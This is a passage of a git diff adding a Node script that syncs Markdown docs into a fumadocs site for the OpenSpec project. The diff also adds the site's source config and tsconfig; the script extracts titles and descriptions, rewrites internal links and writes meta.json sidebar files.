`.md` as plain +// Markdown, so `<placeholders>` and `{braces}` in the docs stay literal), +// - and emits `meta.json` sidebar ordering for the root and the reference folder. +// +// Generated files live under content/docs/ and are git-ignored — never edit +// them by hand; edit ../docs instead. + +import { existsSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs'; +import { dirname, join, posix, relative, resolve } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { docsDir, pages, sections } from '../docs.sync.config.mjs'; + +const websiteRoot = resolve(dirname(fileURLToPath(import.meta.url)), '..'); +const docsRoot = resolve(websiteRoot, docsDir); +const outRoot = join(websiteRoot, 'content', 'docs'); +const gitBranch = 'main'; +const gitBlobBase = 'https://github.com/Fission-AI/OpenSpec/blob'; + +// Map every source path (relative to docs/, normalized) -> its /docs route, +// so cross-doc `.md` links resolve to on-site pages. +const routeBySource = new Map(); +for (const page of pages) { + const normalized = posix.normalize(page.source); + routeBySource.set(normalized, page.slug === 'index' ? '/docs' : `/docs/${page.slug}`); +} + +function yamlQuote(value) { + return `"${String(value).replace(/\\/g, '\\\\').replace(/"/g, '\\"')}"`; +} + +// Pull the first `# Heading` out of the body; return { title, rest }. +function extractTitle(markdown, fallback) { + const lines = markdown.split('\n'); + for (let i = 0; i < lines.length; i++) { + const match = /^#\s+(.+?)\s*$/.exec(lines[i]); + if (match) { + lines.splice(0, i + 1); + return { title: match[1].trim(), rest: lines.join('\n').replace(/^\n+/, '') }; + } + if (lines[i].trim() !== '') break; // content before any H1 — leave as-is + } + return { title: fallback, rest: markdown }; +} + +// First real paragraph, flattened to a one-line meta description. +function extractDescription(markdown) { + const lines = markdown.split('\n'); + const buffer = []; + for (const line of lines) { + const trimmed = line.trim(); + if (buffer.length === 0) { + if (trimmed === '') continue; + // Skip non-paragraph openers (headings, quotes, lists, tables, fences). + if (/^(#|>|[-*+]\s|\d+\.\s|\||```|:::)/.test(trimmed)) return ''; + buffer.push(trimmed); + } else { + if (trimmed === '') break; + buffer.push(trimmed); + } + } + let text = buffer.join(' '); + text = text + .replace(/!\[[^\]]*\]\([^)]*\)/g, '') // images + .replace(/\[([^\]]+)\]\([^)]*\)/g, '$1') // links -> text + .replace(/[*_`]/g, '') // emphasis / code ticks + .replace(/\s+/g, ' ') + .trim(); + if (text.length > 200) { + text = text.slice(0, 200).replace(/\s+\S*$/, '') + '…'; + } + return text; +} + +// Rewrite internal Markdown links that point at other docs. +// `sourceRel` is the current doc's path relative to docs/ (for resolving ../). +function rewriteLinks(markdown, sourceRel) { + const sourceDir = posix.dirname(sourceRel); + return markdown.replace(/\]\(([^)]+)\)/g, (whole, target) => { + // Leave external, anchor-only, and non-.md links untouched. + if (/^(https?:|mailto:|#|\/)/.test(target)) return whole; + const [rawPath, hash] = target.split('#'); + if (!/\.md$/i.test(rawPath)) return whole; + const resolved = posix.normalize(posix.join(sourceDir, rawPath)).replace(/^\.\//, ''); + const route = routeBySource.get(resolved); + const suffix = hash ? `#${hash}` : ''; + if (route) return `](${route}${suffix})`; + // A link we don't publish (e.g. the repo-root README) — fall back to the + // source on GitHub, normalizing any `../` that escapes the docs/ folder. + const repoPath = posix.normalize(`docs/${resolved}`); + return `](${gitBlobBase}/${gitBranch}/${repoPath}${suffix})`; + }); +} + +function buildFrontmatter({ title, description, icon, source }) { + const fm = [`title: ${yamlQuote(title)}`]; + if (description) fm.push(`description: ${yamlQuote(description)}`); + if (icon) fm.push(`icon: ${icon}`); + fm.push(`githubSource: ${yamlQuote(`docs/${source}`)}`); + return `---\n${fm.join('\n')}\n---\n`; +} + +function generatePage(page) { + const srcPath = join(docsRoot, page.source); + if (!existsSync(srcPath)) { + throw new Error(`Missing source doc: docs/${page.source} (referenced by slug "${page.slug}")`); + } + const raw = readFileSync(srcPath, 'utf8'); + const fallbackTitle = page.slug.split('/').pop().replace(/-/g, ' '); + const { title, rest } = extractTitle(raw, fallbackTitle); + const description = extractDescription(rest); + const body = rewriteLinks(rest, posix.normalize(page.source)); + + const frontmatter = buildFrontmatter({ + title, + description, + icon: page.icon, + source: posix.normalize(page.source), + }); + + const outPath = join(outRoot, `${page.slug}.md`); + mkdirSync(dirname(outPath), { recursive: true }); + writeFileSync(outPath, `${frontmatter}\n${body.replace(/\s*$/, '')}\n`, 'utf8'); + return outPath; +} + +// meta.json for the docs root: labeled section separators + page slugs, with +// the reference folder inserted as a single entry. +function writeRootMeta() { + const items = []; + for (const section of sections) { + items.push(`---${section.label}---`); + if (section.folder) { + items.push(section.folder); + } else { + for (const page of section.pages) items.push(page.slug); + } + } + const meta = { title: 'Documentation', root: true, pages: items }; + writeFileSync(join(outRoot, 'meta.json'), `${JSON.stringify(meta, null, 2)}\n`, 'utf8'); +} + +// meta.json for each folder section (e.g. reference/). +function writeFolderMetas() { + for (const section of sections) { + if (!section.folder) continue; + const meta = { + title: section.label, + ...(section.icon ? { icon: section.icon } : {}), + pages: section.pages.map((page) => page.slug.split('/').pop()), + }; + const dir = join(outRoot, section.folder); + mkdirSync(dir, { recursive: true }); + writeFileSync(join(dir, 'meta.json'), `${JSON.stringify(meta, null, 2)}\n`, 'utf8'); + } +} + +function main() { + // Start clean so removed/renamed docs don't leave stale pages behind. + rmSync(outRoot, { recursive: true, force: true }); + mkdirSync(outRoot, { recursive: true }); + + let count = 0; + for (const page of pages) { + generatePage(page); + count++; + } + writeRootMeta(); + writeFolderMetas(); + + const rel = relative(process.cwd(), outRoot); + console.log(`sync-docs: generated ${count} pages from ${docsDir} into ${rel}/`); +} + +main(); diff --git a/website/source.config.ts b/website/source.config.ts new file mode 100644 index 0000000000..b3c9a76773 --- /dev/null +++ b/website/source.config.ts @@ -0,0 +1,30 @@ +import { defineConfig, defineDocs } from 'fumadocs-mdx/config'; +import { metaSchema, pageSchema } from 'fumadocs-core/source/schema'; +import { remarkMdxMermaid } from 'fumadocs-core/mdx-plugins'; +import { z } from 'zod'; + +// You can customize Zod schemas for frontmatter and `meta.json` here +// see https://fumadocs.dev/docs/mdx/collections +export const docs = defineDocs({ + dir: 'content/docs', + docs: { + // `githubSource` is injected by scripts/sync-docs.mjs and points at the + // canonical `docs/*.md` this page was generated from, so the "edit this + // page" link opens the real source rather than the generated mirror. + schema: pageSchema.extend({ githubSource: z.string().optional() }), + postprocess: { + includeProcessedMarkdown: { + mdxAsPlaceholder: ['Mermaid'], + }, + }, + }, + meta: { + schema: metaSchema, + }, +}); + +export default defineConfig({ + mdxOptions: { + remarkPlugins: [remarkMdxMermaid], + }, +}); diff --git a/website/tsconfig.json b/website/tsconfig.json new file mode 100644 index 0000000000..e6be490b0f --- /dev/null +++ b/website/tsconfig.json @@ -0,0 +1,35 @@ +{ + "compilerOptions": { + "target": "ESNext", + "lib": ["dom", "dom.iterable", "esnext"], + "allowJs": true, + "skipLibCheck": true, + "strict": true, + "forceConsistentCasingInFileNames": true, + "noEmit": true, + "esModuleInterop": true, + "module": "esnext", + "moduleResolution": "bundler", + "resolveJsonModule": true, + "isolatedModules": true, + "jsx": "react-jsx", + "incremental": true, + "paths": { + "@/*": ["./*"], + "collections/*": ["./.source/*"] + }, + "plugins": [ + { + "name": "next" + } + ] + }, + "include": [ + "next-env.d.ts", + "**/*.ts", + "**/*.tsx", + ".next/types/**/*.ts", + ".next/dev/types/**/*.ts" + ], + "exclude": ["node_modules"] +}